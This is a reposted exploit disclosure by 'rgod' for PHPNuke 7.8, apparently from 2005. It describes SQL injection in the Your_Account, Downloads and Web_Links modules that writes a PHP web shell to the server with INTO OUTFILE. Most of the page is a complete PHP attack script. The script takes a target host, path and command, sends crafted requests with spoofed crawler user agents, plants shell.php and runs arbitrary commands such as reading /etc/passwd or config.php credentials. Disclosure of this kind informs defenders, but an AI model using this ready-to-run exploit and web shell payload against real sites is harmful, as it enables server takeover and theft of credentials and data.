- ground418 - programmation et sécurité logicielle

Texte original (anglais) :

PHPNuke 7.8 with all security fixes/patches "Downloads", "Web_Links" & "Your_Account"

SQL INjection -> remote commands execution poc exploit

there are a lot of unsanitized vars in every module, as I can see, so

if magic_quotes_gpc is Off -> SQL INJECTION

1) you can go to "Your Account" and submit a username like this:

' UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo "Hi Master";ini_set("max_execution_time",0);system($_GET[cmd]);die;?>',0 INTO OUTFILE '../../WWW/PHPNUKE/shell.php' FROM nuke_users/*

login field is too small to do it manually but you can see my poc below

to create a shell.php file in a writable directory

then launch commands:

http://[target]/[path_to_shell]/shell.php?cmd=cat%20/etc/passwd

2) the same in "Downloads" module:

http://[target]/[path]/modules.php?name=Downloads&d_op=Add&url=[SQL]&title=what&description=what

3) ... and in "Web_links" module:

http://[target]/[path]/modules.php?name=Web_Links&l_op=Add&title=what&description=[SQL]&url=what

I have not seen 7.9 version but it can be also vulnerable, try it on it,

this is my poc exploit:

<?php

# 20.05 23/10/2005 #

# #

# ---phpnuke_78_xpl.php #

# #

# PHPNuke 7.8 with all security fixes/patches "Downloads","Web_Links" & #

# "Your_Account" modules SQL Injection / remote commands execution exploit #

# (yet not tested 7.9, but OK...) #

# #

# by rgod #

# site: http://rgod.altervista.org #

# #

# make these changes in php.ini if you have troubles #

# to launch this script: #

# allow_call_time_pass_reference = on #

# register_globals = on #

# #

# usage: customize for your own pleasure, launch this script from Apache, #

# fill requested fields, then go! #

# #

# Sun-Tzu: "Standing on the defensive indicates insufficient strength; #

# attacking, a superabundance of strength" #

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout", 2);

ob_implicit_flush (1);

echo'<html><head><title> PHPNuke 7.8 remote commands execution </title><meta

http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style

type="text/css"> body { background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;

SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img

{background-color: #FFFFFF !important} input {background-color: #303030

!important} option { background-color: #303030 !important} textarea

{background-color: #303030 !important} input {color: #1CB081 !important} option

{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox

{background-color: #303030 !important} select {font-weight: normal; color:

#1CB081; background-color: #303030;} body {font-size: 8pt !important;

background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:

0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em

!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em

!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em

!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:

normal !important} *{text-decoration: none !important} a:link,a:active,a:visited

{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;

color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;

font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;

font-weight:bold; font-style: italic;}--></style></head> <body> <p class="Stile6">

PHPNuke 7.8 (possibly prior versions) remote commands execution</p><p class="

Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank">

http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form

name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=

value&port=value&command=value&proxy=value"><p><input type="text" name="host">

<span class="Stile5">hostname (ex: www.sitename.com) </span> </p> <p> <input

type="text" name="path"><span class="Stile5"> path ( ex: /phpnuke/ or just /)

</span></p><p> <input type="text" name="pathtoWWW"><span class="Stile5"> path

to WWW ftom Mysql directory, need this for "...INTO OUTFILE ..." statement

(default: ../../www) </span></p><p><input type="text" name="port" > <span

class="Stile5"> specify a port other than 80 (default value)</span> </p><p>

<input type="text" name="command"> <span class="Stile5">a Unix command ,

example: ls -la to list directories, cat /etc/passwd to show passwd file, cat

config.php to see database username and password</span>

</p><p><input type="text" name="proxy"><span class="Stile5">send exploit through

an HTTP proxy (ip:port)</span></p><p><input type="submit"name="Submit"

value="go!"></p></form></td></tr></table></body></html>';

function show($headeri)

{

$ii=0;

$ji=0;

$ki=0;

$ci=0;

echo '<table border="0"><tr>';

while ($ii <= strlen($headeri)-1)

{

$datai=dechex(ord($headeri[$ii]));

if ($ji==16) {

$ji=0;

$ci++;

echo "<td>  </td>";

for ($li=0; $li<=15; $li++)

{ echo "<td>".$headeri[$li+$ki]."</td>";

}

$ki=$ki+16;

echo "</tr><tr>";

}

if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else

{echo "<td>".$datai."</td> ";}

$ii++;

$ji++;

}

for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)

{ echo "<td>&nbsp&nbsp</td>";

}

for ($li=$ci*16; $li<=strlen($headeri); $li++)

{ echo "<td>".$headeri[$li]."</td>";

}

echo "</tr></table>";

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load

//next function to send packets

{

global $proxy, $host, $port, $packet, $html, $proxy_regex;

$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

if ($socket < 0) {

echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";

}

else

{

echo "OK.<br>";

echo "Attempting to connect to ".$host." on port ".$port."...<br>";

if ($proxy=='')

{

$result = socket_connect($socket, $host, $port);

}

else

{

$c = preg_match($proxy_regex,$proxy);

if (!$c) {echo 'Not a valid prozy...';

die;

}

$parts =explode(':',$proxy);

echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';

$result = socket_connect($socket, $parts[0],$parts[1]);

}

if ($result < 0) {

echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";

}

else

{

echo "OK.<br><br>";

$html= '';

socket_write($socket, $packet, strlen($packet));

echo "Reading response:<br>";

while ($out= socket_read($socket, 2048)) {$html.=$out;}

echo nl2br(htmlentities($html));

echo "Closing socket...";

socket_close($socket);

}

}

}

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='')

{$ock=fsockopen($host,$port);}

else

{

$c = preg_match($proxy_regex,$proxy);

if (!$c) {echo 'Not a valid prozy...';

die;

}

$parts=explode(':',$proxy);

echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) { echo 'No response from proxy...';

die;

}

}

fputs($ock,$packet);

if ($proxy=='')

{

$html='';

while (!feof($ock))

{

$html.=fgets($ock);

}

}

else

{

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))

{

$html.=fread($ock,1);

}

}

fclose($ock);

echo nl2br(htmlentities($html));

}

function execute_commands()

{

global $p, $host, $port, $packet, $command, $html;

$packet="GET ".$p."shell.php?cmd=".urlencode($command)." HTTP/1.1\r\n";

$packet.="Host: ".$host.":".$port."\r\n";

$packet.="Connection: Close\r\n\r\n";

show($packet);

sendpacketii($packet);

if (eregi("Hi Master", $html)) {echo "Exploit succeeded..."; die; }

}

if (($host<>'') and ($path<>'') and ($command<>''))

{

$port=intval(trim($port));

if ($port=='') {$port=80;}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($pathtoWWW=='') {$pathtoWWW="../../www";}

#default, path for "INTO OUTFILE <[path][file]>, two dirs up from mysql data directory, change it for

#different Apache installations

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo $proxy;

# STEP 1 -> SQL injection in "Your_Account" module... inject a shell

$SQL="'UNION SELECT '<?error_reporting(0);?>',0,0,0,0,0,0,0,'<?echo \"Hi Master\";ini_set(\"max_execution_time\",0);system(\$_GET[cmd]);die;?>',0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_users/*";

$data="username=".urlencode($SQL)."&user_password=&redirect=&mode=&f=&t=&op=login";

$packet="POST ".$p."modules.php?name=Your_Account HTTP/1.1\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$packet.="Referer: http://".$host.":".$port.$path."modules.php?name=Your_Account\r\n";

$packet.="Accept-Language: it\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="Accept-Encoding: text/plain\r\n";

$packet.="User-Agent: Lycos_Spider_(T-Rex)\r\n";

$packet.="Host: ".$host.":".$port."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n";

$packet.="Cache-Control: no-cache\r\n";

$packet.="Cookie: lang=english\r\n\r\n";

$packet.=$data;

show($packet);

sendpacketii($packet);

execute_commands();

#STEP 2 -> if STEP 1 failed, SQL Injection in "Downloads" module...

//we need to use backticks (shell operators, they are not quotes, some chars like ")" are not permitted in urls...

$SQL="' UNION SELECT '<?echo \'Hi Master\';print `\$_GET[cmd]`;?>' INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_downloads_downloads/*";

$packet="GET ".$p."modules.php?name=Downloads&d_op=Add&url=".urlencode($SQL)."&title=what&description=what HTTP/1.1\r\n";

$packet.="User-Agent: SearchExpress Spider0.99\r\n";

$packet.="Host: ".$host.":".$port."\r\n";

$packet.="Connection: Close\r\n\r\n";

show($packet);

sendpacketii($packet);

execute_commands();

#STEP 3 -> if STEP 1 & 2 failed, SQL injection in "Web_Links" module...

$SQL="' or 'x'='x' UNION SELECT 0,0,0,0,0,0,'Hi Master<?print `\$_GET[cmd]`;?>',0,0 INTO OUTFILE '".$pathtoWWW.$path."shell.php' FROM nuke_links_newlink/*";

$packet="GET ".$p."modules.php?name=Web_Links&l_op=Add&title=what&description=".urlencode($SQL)."&url=what HTTP/1.1\r\n";

$packet.="User-Agent: Web Link Validator 1.5\r\n";

$packet.="Host: ".$host.":".$port."\r\n";

$packet.="Connection: Close\r\n\r\n";

show($packet);

sendpacketii($packet);

execute_commands();

//if you are here...

echo 'Exploit failed...';

}

else

{echo 'Fill in requested fields, optionally specify a proxy';}

?>

rgod

site: http://rgod.altervista.org

mail: retrogod at aliceposta.it

original advisory: http://rgod.altervista.org/phpnuke78sql.html